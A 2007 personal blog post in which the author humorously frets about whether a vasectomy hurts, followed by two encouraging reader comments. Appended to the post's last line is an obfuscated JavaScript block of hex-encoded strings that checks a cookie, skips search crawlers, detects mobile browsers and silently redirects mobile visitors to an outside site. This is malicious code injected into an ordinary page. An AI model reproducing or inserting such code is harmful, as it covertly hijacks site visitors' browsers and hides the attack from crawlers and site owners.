Snip Snip

October 10, 2007 at 3:13 pm 2 comments

I am…gulp…considering a…(sweat)…vasectomy. 

Yep, the one word in the English language that can make a man cringe so fast…

Let me just say it is something I am strongly considering in light of my current familial situation and tendencies.

Before I do it, I have so many questions that I want answered before I sign the paperwork and put on the backless gown:

-Does it hurt?
-How long does it take?
-How do you do it?
-Does it hurt?
-I’m a man and very protective of some parts of my body?
-How long will there be any discomfort?

And most importantly…

-Does it hurt?

Honestly, most of the questions I have…99% in fact…are just my natural inquisitiveness.  They could show me a slideshow or a couple of color graphics and satisfy nearly every query that I have.  But that one final deciding factor, that one small (or large) thing that’s just hanging out there unresolved for me is DOES IT HURT?

Men, you know what I’m talking about.  The doc will be holding a sharp object and making cuts near the one area of the body which you have protected like gold since the day you could first flinch.  I personally don’t like fake punches or kicks, errantly bouncing footballs and random bounding pets anywhere near that area for fear of the mind numbing pain that could result.  Again, guys, you know that pain…it lasts a few minutes but hurts like nothing you’ve ever experienced and you never want to experience it again.  Ladies, think of an ice cream brain freeze about 3 feet south…see what I mean…made you cringe didn’t it?

I pause briefly to acknowledge the pain of childbirth for women, because no matter what pain we men can experience in those “personal” areas, I’m sure none can come close to the discomfort of childbirth.  I understand, I get it, I’m not saying a man’s pain is worse than childbirth…but this type of man pain is just something different, something I guess you maybe cannot understand unless you have the proper equipment…so to speak(see ice cream headache above).

If you doubt me, just try something simple like waving your hand or a blunt object within a foot of that part of a man’s body.  Just like a cat using a littler box or a bird leaving the nest, men have it imbedded in their DNA to assume the flinch pose.  He will spin to shield the area with the side of the thigh.  Or he may use the “quickly pull one leg up and across the other” move to offer added protection – in this move the knee comes up and juts across the opposite thigh.  At worst, he will quickly throw his hands across the region while simultaneously cupping and crossing them.  Suffice it to say, anything that offers any protection whatsoever is fair game. 

Ever see a soccer game that involves a free kick?  See how those guys lined up in a row in front of the net are standing…straight as boards, shoulder to shoulder, arms down with hands cupped and crossed.  You might think “why not protect your face guys”?  It’s because in that position there is only one thing a man feels is worth protecting…break my nose with the speeding leather ball, but don’t dare touch me “there”.
 
I actually imagine the surgery table for this procedure probably involves arm and leg restraints, because the minute any prone man sees a scalpel he would immediately try to assume one of the protection poses.

And get this…from what I’ve read it appears this is a quick little snip and go outpatient procedure.  You spend 15-30 minutes in the big lighted room and then off you go with your ice pack.  In other words you are AWAKE the whole time.  Gee, how can we make this worse for a guy who knows he’s about to have surgery down there?  How about keep him awake and let him see the sharp objects and hear the doc talking about what’s going on?

Enough already! Granted, this is all speculation from me so far: what I visualize, what I’ve read at vasectomy.com (yes the website actually exists) and what my racing mind has conjured up.  I still need to go visit a specialist and learn what’s true and what is “guy myth”.  I can say I do have friends who have had it done and not a one has had anything bad to say about it…minor discomfort maybe, but not the evil that every guy imagines.

I’ll let you know after I visit the doc.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Advertisements

Entry filed under: Sam.

(Drew) Change your life in 30 days…the actual song Drew’s Ipod Picks…10/12

2 Comments Add your own

  • 1. domiano  |  October 11, 2007 at 6:37 am

    Sam,

    Just wanted to let you know that my ex-husband had this done, and honestly it really did not bother him. Other than keeping an ice pack in that region for the rest of the procedure day, he was fine. No bad pain just more embarrassing for him than anything. Good luck!

    Antoinette

    Reply
  • 2. rondah  |  October 11, 2007 at 8:43 am

    Safe to say none of your fears will be relieved until after the experience. There are presurgical drugs that render the “flinching and cover up” response into a “devil may care, here it is” invitation. I would suggest a male doctor for the sympathy factor alone.
    I truly appreciate the “ice cream brain freeze” analogy. It’s never been made as clear to me before.
    Just do it! Only REAL men have vasectomies!

    Reply

Leave a Reply

Please log in using one of these methods to post your comment:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

Trackback this post  |  Subscribe to the comments via RSS Feed


Categories

Recent Posts

RSS Recent MSJ podcasts

  • An error has occurred; the feed is probably down. Try again later.

%d bloggers like this: